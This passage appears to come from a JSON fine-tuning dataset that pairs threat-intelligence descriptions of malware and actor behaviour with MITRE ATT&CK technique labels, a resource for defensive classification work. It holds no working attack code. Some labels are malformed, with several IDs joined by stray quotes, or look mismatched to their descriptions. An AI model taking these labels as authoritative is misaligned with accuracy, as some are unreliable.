                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN6 has used PowerShell to gain access to merchant's networks, and a Metasploit PowerShell module to download and execute shellcode and to set up a local listener."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "injects a DLL for  into the explorer.exe process."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operation Wocao has encrypted IP addresses used for \"Agent\" proxy hops with RC4."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In January, we saw a variant of the disk-wiping KillDisk malware hitting several financial institutions in Latin America. Last May, we uncovered a master boot record (MBR)-wiping malware in the same region"
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HyperStack can use Windows API's \"ConnectNamedPipe\" and \"WNetAddConnection2\" to detect incoming connections and connect to remote shares."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Reaver deletes the original dropped file from the victim."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Log keystrokes and the titles of open windows - Gather clipboard data and system information - Steal printer information and any documents that were sent to be printed - Record audio - Capture screenshots and webcam photos"
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Naikon has disguised malicious programs as Google Chrome, Adobe, and VMware executables."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Each user on a Mac can have a LaunchAgents folder in their own Library folder to specify code that should be run every time that user logs in. We can confirm this is the case with Green Lambert by running the implant, then checking the user’s LaunchAgents folder"
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remexi uses AutoIt and VBS scripts throughout its execution process."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses 443 for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1043 - Commonly Used Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WastedLocker has performed DLL hijacking before execution."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "communicates with its C2 server over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It is responsible for executing commands in cmd.exe (later down in the functions, not seen in the screenshot, it looks for cmd.exe and executes it using CreateProcessA)"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conti can use compiler-based obfuscation for its code, encrypt DLLs, and hide Windows API calls."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stage2.exe is a beaconing implant that performs an HTTPS connection to download a JPG file hosted on Discord’s content delivery network (CDN). Discord’s CDN is a user-created service that allows users to host attachments and is not malicious. The hosted file is retrieved from the following URL"
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An already public UAC bypass method is included in the binary. It doesn’t matter if the method will work or not since the process will exit. This is one more indication that the tool is still in development and there are plans to expand its capabilities"
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "the malicious DLL installed as a Print Processor) is stored as a file on disk; the modules are stored in the registry by the installer (from the CrLnc.dat file) and are described in Table 6"
            },
            {
                "role": "assistant",
                "content": "T1547.012 - Boot or Logon Autostart Execution: Print Processors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POSHSPY downloads and executes additional PowerShell code and Windows binaries."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EnvyScout has used folder icons for malicious files to lure victims into opening them."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HermeticWiper has the ability to receive a command parameter to sleep prior to carrying out destructive actions on a targeted host."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly 2.0 used scheduled tasks to automatically log out of created accounts every 8 hours as well as to execute malicious files."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Diavol can use the ARP table to find remote hosts to scan."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike can use \"net localgroup\" to list local groups on a system."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Unknown Logger is capable of recording keystrokes."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "encrypts C2 traffic with HTTPS and also encodes it with a single-byte XOR key."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT18 actors leverage legitimate credentials to log into external remote services."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts', 'T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actors used a compromised Office 365 service account with Global Administrator privileges to collect email from user inboxes."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 obtained PKI keys, certificate files and the private encryption key from an Active Directory Federation Services (AD FS) container to decrypt corresponding SAML signing certificates."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "XLoader sets up an auto start by creating a new file with a random name in the LaunchAgents folder of the current user:"
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Both masscan and pnscan have been used before by TeamTNT actors. However, the addition of zgrab, a GoLang network scanner, marks the first time that a GoLang tool has been witnessed incorporated into TeamTNT’s TTPs. There was also an update to the masscan network scanner operation to include searching for TCP port 5555. This could indicate a new unknown target set for expanding TeamTNT cryptojacking operations. However, there is little evidence to support TeamTNT targeting Android devices"
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ShimRatReporter spoofed itself as \"AlphaZawgyl_font.exe\", a specialized Unicode font."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Milan can use the API `DnsQuery_A` for DNS resolution."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BITTER has used TCP for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a tool that can enumerate the permissions associated with Windows groups."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SOUNDBITE is capable of modifying the Registry."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some  samples have a module to use pass the ticket with Kerberos for authentication."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Password stealer and NTLM stealer modules in  harvest stored credentials from the victim, including credentials used as part of Windows NTLM user authentication.  has also executed  for further victim penetration."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware attempts to determine the installed version of .NET by querying the Registry."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Since this malicious extension is trying to pass for a legitimate Chrome plugin, Grandoreiro’s developer named it “Google Plugin” version 1.5.0. Visually, it adds a square button to the browser window instead of the “cookie” button on the original plugin"
            },
            {
                "role": "assistant",
                "content": "T1176 - Browser Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has gathered hashed user credentials over SMB using spearphishing attachments with external resource links and by modifying .LNK file icon resources to collect credentials from virtualized systems."
            },
            {
                "role": "assistant",
                "content": "T1187 - Forced Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Misdat is capable of providing shell functionality to the attacker to execute commands."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AppleJeus has exfiltrated collected host information to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is used to poison name services to gather hashes and credentials from systems within a local network."
            },
            {
                "role": "assistant",
                "content": "T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Machete employed some visual obfuscation techniques by naming variables as combinations of letters to hinder analysis."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A  variant has used rundll32 for execution."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "StrongPity can identify the hard disk volume serial number on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carbon can use HTTP in C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Duqu can be configured to have commands relayed over a peer-to-peer network of infected hosts if some of the hosts do not have Internet access."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Koadic can obtain a list of directories."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Anchor and older versions of Anchor_DNS implement the exact same self deletion routine using two sets of commands to ensure that the dropper is deleted once the malware was successfully deployed"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "StrongPity can use multiple layers of proxy servers to hide terminal nodes in its infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DownPaper collects the victim host name and serial number, and then sends the information to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a command to download a file from the C2 server to the victim mobile device's SD card."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Throughout the spear-phishing campaign, the threat actors used email attachments to leverage legitimate Microsoft Office functions for retrieving a document from a remote server using the Server Message Block (SMB) protocol. After obtaining a credential hash, the threat actors can use password-cracking techniques to obtain the plaintext password. With valid credentials, the threat actors are able to masquerade as authorized users in environments that use single-factor authentication"
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoshC2 has a number of modules that leverage pass the hash for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PolyglotDuke can write encrypted JSON configuration files to the Registry."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To use Google Drive, the x_mode command received from the C2 server via DNS tunneling will be followed by a newline-delimited list of settings needed to interact with the Google Drive account"
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Drovorub has used XOR encrypted payloads in WebSocket client to server messages."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ComRAT has checked the victim system's date and time to perform tasks during business hours (9 to 5, Monday to Friday)."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Octopus has used wmic.exe for local discovery information."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "used batch scripts to enumerate users in the victim environment."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UNC2452 has compromised domains to use for C2."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BLINDINGCAN has obfuscated code using Base64 encoding."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WMIC (wmic.exe) was used to create a remote command prompt instance (cmd.exe), which then executed the PowerShell code. The PowerShell command created two variables and attempted to download and execute the payload from one of FIN8’s Command and Control (C&amp;C) servers. This download was blocked by Bitdefender – below description is based on interpretation of variables discovered in our previous analysis of FIN8 operations"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell', 'T1105 - Ingress Tool Transfer', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Heyoka Backdoor can gather process information."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Proton zips up files before exfiltrating them."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operation Wocao has used SMB to copy files to and from target systems."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ultimately, the XLS writes two files to disk, one of which -- the BAT -- immediately modifies some system settings and creates two scheduled tasks. However, this behaviour may not be enough to determine the components as malicious. Only after 20 minutes will the task scheduler execute the VBS downloader component and launch the BackConfig loader EXE, by which time analysis systems may have stopped monitoring"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Night Dragon has obtained and used tools such as gsecdump."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload decryption routine uses a custom symmetric algorithm based on arithmetic and byte-shift instructions – a combination of SHL/SHR/SUB/ADD/XOR – with hardcoded keys"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole can use the \"ITaskService\", \"ITaskDefinition\" and \"ITaskSettings\" COM interfaces to schedule a task."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "JPIN checks for the presence of certain security-related processes and deletes its installer/uninstaller component if it identifies any of them."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tropic Trooper is capable of enumerating the running processes on the system using \"pslist\"."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SMOKEDHAM has used Powershell to download UltraVNC and Ngrok from third-party file sharing sites."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exfiltrated data is encrypted using an RSA public key, preventing third parties from decrypting it. An example exfiltration request is below"
            },
            {
                "role": "assistant",
